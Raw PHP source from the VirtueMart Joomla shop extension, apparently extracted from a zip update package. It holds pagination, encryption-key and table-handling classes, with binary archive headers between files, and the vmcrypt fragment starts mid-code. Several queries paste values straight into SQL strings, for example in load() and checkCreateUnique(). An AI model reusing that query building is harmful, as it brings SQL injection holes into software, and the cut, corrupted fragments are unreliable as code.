$this->_data->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } } return $this->_data; } public function store(&$data){ $table = $this->getTable($this->_maintablename); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } if(is_object($data)){ $_idName = $this->_idName; return $data->$_idName; } else { return $data[$this->_idName]; } } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } public function setToggleName($togglesName){ $this->_togglesName[] = $togglesName ; } /** * toggle (0/1) a field * or invert by $val for multi IDS; * @author Patrick Kohl * @param string $field the field to toggle * @param string $postName the name of id Post (Primary Key in table Class constructor) */ function toggle($field,$val = NULL, $cidname = 0,$tablename = 0 ) { $ok = true; if (!in_array($field, $this->_togglesName)) { return false ; } if($tablename === 0) $tablename = $this->_maintablename; if($cidname === 0) $cidname = $this->_cidName; $table = $this->getTable($tablename); //if(empty($cidName)) $cidName = $this->_cidName; $ids = JRequest::getVar( $cidname, JRequest::getVar('cid',array(0)), 'post', 'array' ); foreach($ids as $id){ $table->load( (int)$id ); if (!$table->toggle($field, $val)) { // if (!$table->store()) { vmError(get_class( $this ).'::toggle '.$table->getError() .' '.$id); $ok = false; } } return $ok; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function move($direction, $filter=null) { $table = $this->getTable($this->_maintablename); if (!$table->load($this->_id)) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } if (!$table->move( $direction, $filter )) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } return true; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function saveorder($cid = array(), $order, $filter = null) { $table = $this->getTable($this->_maintablename); $groupings = array(); // update ordering values for( $i=0; $i < count($cid); $i++ ) { $table->load( (int) $cid[$i] ); // track categories if ($filter) $groupings[] = $table->$filter; if ($table->ordering != $order[$i]) { $table->ordering = $order[$i]; if (!$table->store()) { vmError('VmModel saveorder '.$this->_db->getErrorMsg()); return false; } } } // execute updateOrder for each parent group if ($filter) { $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $table->reorder( $filter.' = '.(int) $group); } } return true; } /** * Since an object like product, category dont need always an image, we can attach them to the object with this function * The parameter takes a single product or arrays of products, look for BE/views/product/view.html.php * for an exampel using it * * @author Max Milbers * @param object $obj some object with a _medias xref table */ public function addImages($obj,$limit=0){ $mediaModel = VmModel::getModel('Media'); $mediaModel->attachImages($obj,$this->_maintablename,'image',$limit); } public function resetErrors(){ $this->_errors = array(); } } jimport('joomla.html.pagination'); class VmPagination extends JPagination { private $_perRow = 5; function __construct($total, $limitstart, $limit, $perRow=5){ if($perRow!==0){ $this->_perRow = $perRow; } parent::__construct($total, $limitstart, $limit); } /** Creates a dropdown box for selecting how many records to show per page. * Modification of Joomla Core libraries/html/pagination.php getLimitBox function * The function uses as sequence a generic function or a sequence configured in the vmconfig * * use in a view.html.php $vmModel->setPerRow($perRow); to activate it * * @author Joe Motacek (Cleanshooter) * @author Max Milbers * @return string The HTML for the limit # input box. * @since 11.1 */ function setSequence($sequence){ $this->_sequence = $sequence; } function getLimitBox($sequence=0) { $app = JFactory::getApplication(); // Initialize variables $limits = array (); $selected = $this->_viewall ? 0 : $this->limit; // Build the select list if ($app->isAdmin()) { if(empty($sequence)){ $sequence = VmConfig::get('pagseq',0); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', $items); } } } if(empty($limits)){ $limits[15] = JHTML::_('select.option', 15); $limits[30] = JHTML::_('select.option', 30); $limits[50] = JHTML::_('select.option', 50); $limits[100] = JHTML::_('select.option', 100); $limits[200] = JHTML::_('select.option', 200); $limits[400] = JHTML::_('select.option', 400); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', $this->limit); ksort($limits); } $namespace = ''; if (JVM_VERSION!==1) { $namespace = 'Joomla.'; } $html = JHTML::_('select.genericlist', $limits, 'limit', 'class="inputbox" size="1" onchange="'.$namespace.'submitform();"', 'value', 'text', $selected); } else { $getArray = (JRequest::get( 'get' )); $link =''; unset ($getArray['limit']); // foreach ($getArray as $key => $value ) $link .= '&'.$key.'='.$value; foreach ($getArray as $key => $value ){ if (is_array($value)){ foreach ($value as $k => $v ){ $link .= '&'.$key.'['.$k.']'.'='.$v; } } else { $link .= '&'.$key.'='.$value; } } $link[0] = "?"; $link = 'index.php'.$link ; if(empty($sequence)){ $sequence = VmConfig::get('pagseq_'.$this->_perRow); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', JRoute::_( $link.'&limit='. $items, false), $items); } } } if(empty($limits) or !is_array($limits)){ if($this->_perRow===1) $this->_perRow = 5; $limits[$this->_perRow * 5] = JHtml::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 5, false) ,$this->_perRow * 5); $limits[$this->_perRow * 10] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 10, false) , $this->_perRow * 10 ); $limits[$this->_perRow * 20] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 20, false) , $this->_perRow * 20 ); $limits[$this->_perRow * 50] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 50, false) , $this->_perRow * 50 ); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', JRoute::_( $link.'&limit='.$this->limit,false),$this->limit); ksort($limits); } $selected= JRoute::_( $link.'&limit='. $selected,false) ; $js = 'onchange="window.top.location.href=this.options[this.selectedIndex].value"'; $html = JHTML::_('select.genericlist', $limits, '', 'class="inputbox" size="1" '.$js , 'value', 'text', $selected); } return $html; } } PKsl>\ĚQcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmcrypt.phpnuW+A0){ ksort($existingKeys); if(!empty($date)){ $key = ''; foreach($existingKeys as $unixDate=>$values){ if(($unixDate-30) >= $date ){ vmdebug('$unixDate '.$unixDate.' >= $date '.$date); continue; } vmdebug('$unixDate < $date'); //$usedKey = $values; $key = $values['key']; } vmdebug('Use key file ',$key); //include($keyPath .DS. $usedKey.'.php'); } else { $usedKey = end($existingKeys); $key = $usedKey['key']; } vmTime('my time','check'); return $key; } else { $usedKey = date("ymd"); $filename = $keyPath . DS . $usedKey . '.ini'; if (!JFile::exists ($filename)) { $token = JUtility::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token . $salt) ; $key = base64_encode($hashedToken); //$options = array('costs'=>VmConfig::get('cryptCost',8)); /*if(!function_exists('password_hash')){ require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'password_compat.php'); } if(function_exists('password_hash')){ $key = password_hash($key, PASSWORD_BCRYPT, $options); }*/ $date = JFactory::getDate(); $today = $date->toUnix(); //$key = pack('H*',$key); $content = ';'; $result = JFile::write($filename, $content); vmTime('my time','check'); return $key; } } vmTime('my time','check'); //return pack('H*',$key); } private static function _getEncryptSafepath () { if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = ShopFunctions::checkSafePath(); if (empty($safePath)) { return NULL; } $encryptSafePath = $safePath . self::ENCRYPT_SAFEPATH; //echo 'my $encryptSafePath '.$encryptSafePath; //if(!JFolder::exists($encryptSafePath)){ self::createEncryptFolder($encryptSafePath); //} return $encryptSafePath; } private static function createEncryptFolder ($folderName) { //$folderName = self::_getEncryptSafepath (); $exists = JFolder::exists ($folderName); if ($exists) { return TRUE; } $created = JFolder::create ($folderName); if ($created) { return TRUE; } $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('COM_VIRTUEMART_CANNOT_STORE_CONFIG', $folderName, '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return FALSE; } }PKsl>\p55Qcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmtable.phpnuW+A_tbl = $table; $this->_db =& $db; $this->_pkey = $key; if(JVM_VERSION<3){ $this->_tbl_key = $key; } else { // Set the key to be an array. if (is_string($key)){ $key = array($key); } elseif (is_object($key)){ $key = (array) $key; } $this->_tbl_keys = $key; if (count($key) == 1) { $this->_autoincrement = true; } else { $this->_autoincrement = false; } // Set the singular table key for backwards compatibility. $this->_tbl_key = $this->getKeyName(); } // If we are tracking assets, make sure an access field exists and initially set the default. if (property_exists($this, 'asset_id')){ $this->_trackAssets = true; } // If the access property exists, set the default. if (property_exists($this, 'access')){ $this->access = (int) JFactory::getConfig()->get('access'); } if(JVM_VERSION>2){ // Implement JObservableInterface: // Create observer updater and attaches all observers interested by $this class: $this->_observers = new JObserverUpdater($this); JObserverMapper::attachAllObservers($this); } } public function setPrimaryKey($key, $keyForm = 0) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->setObligatoryKeys('_pkey', $error); $this->_pkey = $key; $this->_pkeyForm = empty($keyForm) ? $key : $keyForm; $this->$key = 0; } public function getPKey(){ return $this->_pkey; } public function setObligatoryKeys($key) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->_obkeys[$key] = $error; } public function setUniqueName($name) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); $this->_unique = true; $this->_obkeys[$name] = $error; $this->_unique_name[$name] = $error; } public function setLoggable() { $this->_loggable = true; $this->created_on = false; $this->created_by = 0; $this->modified_on = ''; $this->modified_by = 0; } /** * * @author Patrick Kohl, * @author Max Milbers */ public function setTranslatable($langFields) { $this->_translatableFields = $langFields; $this->_translatableFields['slug'] = 'slug'; $this->_translatable = true; if (!class_exists('VmConfig')) require(JPATH_COMPONENT_ADMINISTRATOR .'helpers/config.php'); VmConfig::loadConfig(); $this->_langTag = VmConfig::$vmlang; $this->_tbl_lang = $this->_tbl . '_' . $this->_langTag; } public function getTranslatableFields() { return $this->_translatableFields; } public function setLockable() { $this->locked_on = ''; $this->locked_by = 0; } function setOrderable($key = 'ordering', $auto = true) { $this->_orderingKey = $key; $this->_orderable = 1; $this->_autoOrdering = $auto; $this->$key = 0; } function setSlug($slugAutoName, $key = 'slug') { // $this->_useSlug = true; $this->_slugAutoName = $slugAutoName; $this->_slugName = $key; $this->$key = ''; $this->setUniqueName($key); } var $_tablePreFix = ''; function setTableShortCut($prefix) { $this->_tablePreFix = $prefix . '.'; } public function emptyCache(){ self::$_cache = array(); } /** * This function defines a database field as parameter field, which means that some values get injected there * As delimiters are used | for the pair and = for key, value * * @author Max Milbers * @param string $paramsFieldName * @param string $varsToPushParam * @param boolean $overwrite */ function setParameterable($paramsFieldName, $varsToPushParam, $overwrite = false) { //if($this->_xParams===0) $this->_xParams = $paramsFieldName; if ($overwrite) { $this->_varsToPushParam = $varsToPushParam; } else { $this->_varsToPushParam = array_merge((array)$varsToPushParam, (array)$this->_varsToPushParam); } foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->$k)) $this->$k = $v[0]; } //vmdebug('setParameterable called '.$this->_xParams,$this->_varsToPushParam); } /** * This function must be * Takes the bounded values at obj of the field $xParams * and adds them as attributs of obj * @param $obj * @param $xParams * @param $varsToPushParam */ static function bindParameterable(&$obj, $xParams, $varsToPushParam) { if(empty($varsToPushParam)) return; //$paramFields = $obj->$xParams; //vmdebug('$obj->_xParams '.$xParams.' $varsToPushParam ',$varsToPushParam); if(is_object($obj)){ if (!empty($obj->$xParams)) { $params = explode('|', $obj->$xParams); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj->$key = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj->$xParams)){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj->$key)) { $obj->$key = $v[0]; } } } else { if (!empty($obj[$xParams])) { $params = explode('|', $obj[$xParams]); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj[$key] = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj[$xParams])){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj[$key])) { $obj[$key] = $v[0]; } } } } /** * Sets fields encrypted * @author Max Milbers * @param $fieldNames */ public function setCryptedFields($fieldNames){ if(!$fieldNames){ vmTrace('setEncrytped fields false not catched'); return; } if(!is_array($fieldNames)) $fieldNames = array($fieldNames); if(isset($fieldNames[$this->_pkey])){ unset($fieldNames[$this->_pkey]); } $this->_cryptedFields = $fieldNames; } /** * */ public function getCryptedFields(){ return $this->_cryptedFields; } /** * Gives Back the columns of the current table, sets the properties on the table. * * @author Max Milbers * @param int $typeKey use "Field" to get the effect of getTableColumns * @param int $typeValue use "Type" to get the effect of getTableColumns * @param bool $properties disable setting of columns as table properties */ public function showFullColumns($typeKey=0,$typeValue=0,$properties=true){ $hash = 'SFL'.$this->_tbl.$typeKey.$typeValue; if (!isset(self::$_cache[$hash])) { $this->_db->setQuery('SHOW FULL COLUMNS FROM `'.$this->_tbl.'` ') ; self::$_cache[$hash] = $this->_db->loadAssocList(); } if ($properties and count(self::$_cache[$hash]) > 0) { foreach (self::$_cache[$hash] as $key => $_f) { $_fieldlist[$_f['Field']] = $_f['Default']; } $this->setProperties($_fieldlist); } if ($typeKey or $typeValue){ foreach (self::$_cache[$hash] as $field){ if(empty($typeValue)){ $value = $field; } else { $value = $field[$typeValue]; } if($typeKey){ $result[$field[$typeKey]] = $value; } else { $result[] = $value; } } } else { $result = self::$_cache[$hash]; } return $result; } public function loadFields(){ return $this->showFullColumns(); } function loadFieldValues($array=true){ $tmp = get_object_vars($this); if($array){ $return = array(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return[$k] = $v; } } } else { $return = new stdClass(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return->$k = $v; } } } return $return; } function checkDataContainsTableFields($from, $ignore = array()) { if (empty($from)) return false; $fromArray = is_array($from); $fromObject = is_object($from); if (!$fromArray && !$fromObject) { vmError(get_class($this) . '::check if data contains table fields failed. Invalid from argument
' . print_r($from, 1) . '
'); return false; } if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } foreach ($this->getProperties() as $k => $v) { // internal attributes of an object are ignored if (!in_array($k, $ignore)) { if ($fromArray && isset($from[$k])) { return true; } else if ($fromObject && isset($from->$k)) { return true; } } } vmdebug('VmTable developer notice, table ' . get_class($this) . ' means that there is no data to store. When you experience that something does not get stored as expected, please write in the forum.virtuemart.net'); return false; } /** * Function setting the loggable data hack procted * In case you want to override the value for administrators, just set the created_on to "0000-00-00 00:00:00" * * @author Max Milbers */ function setLoggableFieldsForStore() { if ($this->_loggable) { // set default values always used //We store in UTC time, dont touch it! $date = JFactory::getDate(); $today = $date->toSQL(); //vmdebug('my today ',$date); $user = JFactory::getUser(); $pkey = $this->_pkey; //Lets check if the user is admin or the mainvendor $admin = JFactory::getUser()->authorise('core.admin', 'com_virtuemart'); $adminSessionID = JFactory::getSession()->get('vmAdminID'); if ($admin || JFactory::getUser($adminSessionID)->authorise('core.admin', 'com_virtuemart')) { // vmdebug('setLoggableFieldsForStore ', $this->created_on); if (empty($this->$pkey) and empty($this->created_on)) { $this->created_on = $today; } else if (empty($this->created_on)) { //If nothing is there, dont update it unset($this->created_on); } else //ADDED BY P2 PETER if ($this->created_on == "0000-00-00 00:00:00") { $this->created_on = $today; $this->created_by = $user->id; } //END ADD if (empty($this->$pkey) and empty($this->created_by)) { $this->created_by = $user->id; } else if (empty($this->created_by)) { //If nothing is there, dont update it unset($this->created_by); } } else { if (empty($this->$pkey)) { $this->created_on = $today; $this->created_by = $user->id; } else { //If nothing is there, dont update it unset($this->created_on); unset($this->created_by); } } $this->modified_on = $today; $this->modified_by = $user->id; } if (isset($this->locked_on)) { //Check if user is allowed to store, then disable or prevent storing $this->locked_on = 0; } } /** * Technic to inject params as table attributes * @author Max Milbers * $TableJoins array of table names to add and left join to find ID */ function load($oid = null, $overWriteLoadName = 0, $andWhere = 0, $tableJoins = array(), $joinKey = 0) { if( $overWriteLoadName!==0 ){ $k = $overWriteLoadName; } else { $k = $this->_pkey; } if ($oid !== null) { $this->$k = $oid; } else { $oid = $this->$k; } if ($oid === null) { $oid = 0; } else if (empty($oid)) { if (!empty($this->_xParams)) { foreach ($this->_varsToPushParam as $key => $v) { if (!isset($this->$key)) { $this->$key = $v[0]; } } } return $this; } //Version load the tables using JOIN if ($this->_translatable) { $mainTable = $this->_tbl; $langTable = $this->_tbl . '_' . $this->_langTag; $select = 'SELECT `' . $mainTable . '`.* ,`' . $langTable . '`.* '; $from = ' FROM `' . $mainTable . '` INNER JOIN `' . $langTable . '` using (`' . $this->_tbl_key . '`)'; } else { $mainTable = $this->_tbl; $select = 'SELECT `' . $mainTable . '`.* '; $from = ' FROM `' . $mainTable . '` '; } if (count($tableJoins)) { if (!$joinKey) $joinKey = $this->_tbl_key; foreach ($tableJoins as $tableId => $table) { $select .= ',`' . $table . '`.`' . $tableId . '` '; $from .= ' LEFT JOIN `' . $table . '` on `' . $table . '`.`' . $joinKey . '`=`' . $mainTable . '`.`' . $joinKey . '`'; } } //the cast to int here destroyed the query for keys like virtuemart_userinfo_id, so no cast on $oid // $query = $select.$from.' WHERE '. $mainTable .'.`'.$this->_tbl_key.'` = "'.$oid.'"'; if ($andWhere === 0) $andWhere = ''; $query = $select . $from . ' WHERE `' . $mainTable . '`.`' . $k . '` = "' . $oid . '" ' . $andWhere; $hashVarsToPush = ''; if (!empty($this->_xParams)) { $hashVarsToPush = serialize($this->_varsToPushParam); } $hash = md5($oid. $select . $k . $andWhere . $hashVarsToPush); if (isset (self::$_cache['l'][$hash])) { //vmdebug('Resturn cached '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); $this->bind(self::$_cache['l'][$hash]); return $this; } else { //vmdebug('loading '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); } $db = $this->getDBO(); $db->setQuery($query); $result = $db->loadAssoc(); if ($result) { $this->bind($result); if (!empty($this->_xParams)) { //Maybe better to use for $this an & self::bindParameterable($this, $this->_xParams, $this->_varsToPushParam); } if (count($tableJoins)) { foreach ($tableJoins as $tableId => $table) { if (isset($result[$tableId])) $this->$tableId = $result[$tableId]; } } } else { $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla $defaultLang= strtolower(strtr($defaultLang,'-','_')); if($defaultLang!=$this->_langTag and Vmconfig::$langCount>1){ $this->_ltmp = $this->_langTag; $this->_langTag = $defaultLang; $this->load($oid, $overWriteLoadName, $andWhere, $tableJoins, $joinKey) ; } } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::decrypt($this->$field,$date); } } } } if($this->_ltmp){ $this->_langTag = $this->_ltmp; $this->_ltmp = false; } self::$_cache['l'][$hash] = $this->loadFieldValues(false); return $this; } /** * Technic to inject params as table attributes * @author Max Milbers */ function store($updateNulls = false) { $this->setLoggableFieldsForStore(); if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } vmdebug('my crytped fields in store '.get_class($this),$this->_cryptedFields); foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::encrypt($this->$field); } else { vmdebug('Store vmtable empty property for '.$field); } } } $this->storeParams(); return parent::store($updateNulls); } function storeParams() { if (!empty($this->_xParams)) { $paramFieldName = $this->_xParams; $this->$paramFieldName = ''; foreach ($this->_varsToPushParam as $key => $v) { if (isset($this->$key)) { $this->$paramFieldName .= $key . '=' . json_encode($this->$key) . '|'; } else { $this->$paramFieldName .= $key . '=' . json_encode($v[0]) . '|'; } unset($this->$key); } } return true; } function checkCreateUnique($tbl_name, $name) { $i = 0; while ($i < 20) { $tbl_key = $this->_tbl_key; $q = 'SELECT `' . $name . '` FROM `' . $tbl_name . '` WHERE `' . $name . '` = "' . $this->$name . '" AND `' . $this->_tbl_key . '`!=' . $this->$tbl_key; $this->_db->setQuery($q); $existingSlugName = $this->_db->loadResult(); if (!empty($existingSlugName)) { if($posNbr = strrpos($this->$name,'-')){ $existingNbr = substr($this->$name,$posNbr+1); if(is_numeric($existingNbr)){ $existingNbr++; if($i>10){ $existingNbr = $existingNbr + rand (1, 9); } $this->$name = substr($this->$name,0,$posNbr+1) . $existingNbr; } else{ $this->$name = $this->$name . '-1'; } } else { $this->$name = $this->$name . '-1'; } } else { return true; } $i++; } return false; } /** * @author Max Milbers * @param */ function check() { if (!empty($this->_slugAutoName)) { $slugAutoName = $this->_slugAutoName; $slugName = $this->_slugName; if (in_array($slugAutoName, $this->_translatableFields)) { $checkTable = $this->_tbl . '_' . VmConfig::$vmlang; } else { $checkTable = $this->_tbl; } if (empty($this->$slugName)) { // vmdebug('table check use _slugAutoName '.$slugAutoName.' '.$slugName); if (!empty($this->$slugAutoName)) { $this->$slugName = $this->$slugAutoName; } else { vmError('VmTable ' . $checkTable . ' Check not passed. Neither slug nor obligatory value at ' . $slugAutoName . ' for auto slug creation is given'); return false; } } //if (JVM_VERSION === 1) $this->$slugName = JFilterOutput::stringURLSafe($this->$slugName); //else $this->$slugName = JApplication::stringURLSafe($this->$slugName); //pro+#'!"§$%&/()=?duct-w-| ||cu|st|omfield-|str //vmdebug('my slugName '.$slugName,$this->$slugName); $this->$slugName = str_replace('-', ' ', $this->$slugName); //$config =& JFactory::getConfig(); //$transliterate = $config->get('unicodeslugs'); $unicodeslugs = VmConfig::get('transliterateSlugs',false); if($unicodeslugs){ $lang = JFactory::getLanguage(); $this->$slugName = $lang->transliterate($this->$slugName); } // Trim white spaces at beginning and end of alias and make lowercase $this->$slugName = trim(JString::strtolower($this->$slugName)); $this->$slugName = str_replace(array('`','´',"'"),'',$this->$slugName); $this->$slugName = vRequest::filterUword($this->$slugName,'-,_,.,|','-'); while(strpos($this->$slugName,'--')){ $this->$slugName = str_replace('--','-',$this->$slugName); } // Trim dashes at beginning and end of alias $this->$slugName = trim($this->$slugName, '-'); if($unicodeslugs)$this->$slugName = rawurlencode($this->$slugName); $valid = $this->checkCreateUnique($checkTable, $slugName); vmdebug('my Final slugName '.$slugName,$this->slugName); if (!$valid) { return false; } } foreach ($this->_obkeys as $obkeys => $error) { if (empty($this->$obkeys)) { if (empty($error)) { $error = 'Serious error cant save ' . $this->_tbl . ' without ' . $obkeys; } else { // $error = get_class($this).' '.vmText::_($error); $error = get_class($this) . ' ' . $error; } $this->setError($error); vmError($error); return false; } } if ($this->_unique) { if (empty($this->_db)) $this->_db = JFactory::getDBO(); foreach ($this->_unique_name as $obkeys => $error) { if (empty($this->$obkeys)) { // vmError(vmText::sprintf('COM_VIRTUEMART_NON_UNIQUE_KEY',$this->$obkeys)); $this->setError($error); vmError('Non unique ' . $this->_unique_name . ' ' . $error); return false; } else { $valid = $this->checkCreateUnique($this->_tbl, $obkeys); if (!$valid) { return false; } } } } if (isset($this->virtuemart_vendor_id)) { $multix = Vmconfig::get('multix', 'none'); //Lets check if the user is admin or the mainvendor $virtuemart_vendor_id = false; if ($multix == 'none' and get_class($this) !== 'TableVmusers') { $this->virtuemart_vendor_id = 1; return true; } else { $loggedVendorId = Permissions::getInstance()->isSuperVendor(); $user = JFactory::getUser(); $admin = $user->authorise('core.admin','com_virtuemart'); $tbl_key = $this->_tbl_key; $className = get_class($this); if (strpos($this->_tbl,'virtuemart_vmusers')===FALSE) { $q = 'SELECT `virtuemart_vendor_id` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $virtuemart_vendor_id = $this->_db->loadResult(); } else $virtuemart_vendor_id = self::$_cache[md5($q)]; } else { $q = 'SELECT `virtuemart_vendor_id`,`user_is_vendor` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $vmuser = $this->_db->loadRow(); } else $vmuser = self::$_cache[md5($q)]; if ($vmuser and count($vmuser) === 2) { $virtuemart_vendor_id = $vmuser[0]; $user_is_vendor = $vmuser[1]; if ($multix == 'none') { if (empty($user_is_vendor)) { $this->virtuemart_vendor_id = 0; } else { $this->virtuemart_vendor_id = 1; } return true; } else { if (!$admin) { $this->virtuemart_vendor_id = $loggedVendorId; return true; } } } else { //New User //vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);//, Set to mainvendor '.$this->virtuemart_vendor_id } } if (!$admin and !empty($virtuemart_vendor_id) and !empty($loggedVendorId) and $loggedVendorId != $virtuemart_vendor_id) { //vmWarn('COM_VIRTUEMART_NOT_SAME_VENDOR',$loggedVendorId,$virtuemart_vendor_id //vmWarn('Stop try to hack this store, you got logged'); vmdebug('Hacking attempt stopped, logged vendor ' . $loggedVendorId . ' but data belongs to ' . $virtuemart_vendor_id); return false; } else if (!$admin) { if ($virtuemart_vendor_id) { $this->virtuemart_vendor_id = $virtuemart_vendor_id; vmdebug('Non admin is storing using loaded vendor_id'); } else { //No id is stored, even users are allowed to use for the storage and vendorId, no change } } else { //Admins are allowed to do anything. We just trhow some messages if (!empty($virtuemart_vendor_id) and $loggedVendorId != $virtuemart_vendor_id) { vmdebug('Admin with vendor id ' . $loggedVendorId . ' is using for storing vendor id ' . $this->virtuemart_vendor_id); } else if (empty($virtuemart_vendor_id)) { if(strpos($this->_tbl,'virtuemart_vendors')===FALSE and strpos($this->_tbl,'virtuemart_vmusers')===FALSE){ vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl); } } } } } return true; } /** * As shortcat, Important the & MUST be there, even in php5.3 * * @author Max Milbers * @param array/obj $data input data as assoc array or obj * @param boolean $preload You can preload the data here too preserve not updated data * @return array/obj $data the updated data */ public function bindChecknStore(&$data, $preload = false) { $tblKey = $this->_tbl_key; $ok = true; if ($this->_translatable) { if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); $db = JFactory::getDBO(); $langTable = new VmTableData($this->_tbl_lang, $tblKey, $db); $langTable->setPrimaryKey($tblKey); $langData = array(); $langObKeys = array(); $langUniqueKeys = array(); if (is_object($data)) { foreach ($this->_translatableFields as $name) { if (isset($data->$name)) { //We directly store language stuff "escaped" $langData[$name] = htmlentities($data->$name, ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data->$tblKey; } else { foreach ($this->_translatableFields as $name) { if (isset($data[$name])) { //$langData[$name] = $data[$name]; $langData[$name] = htmlentities($data[$name], ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = 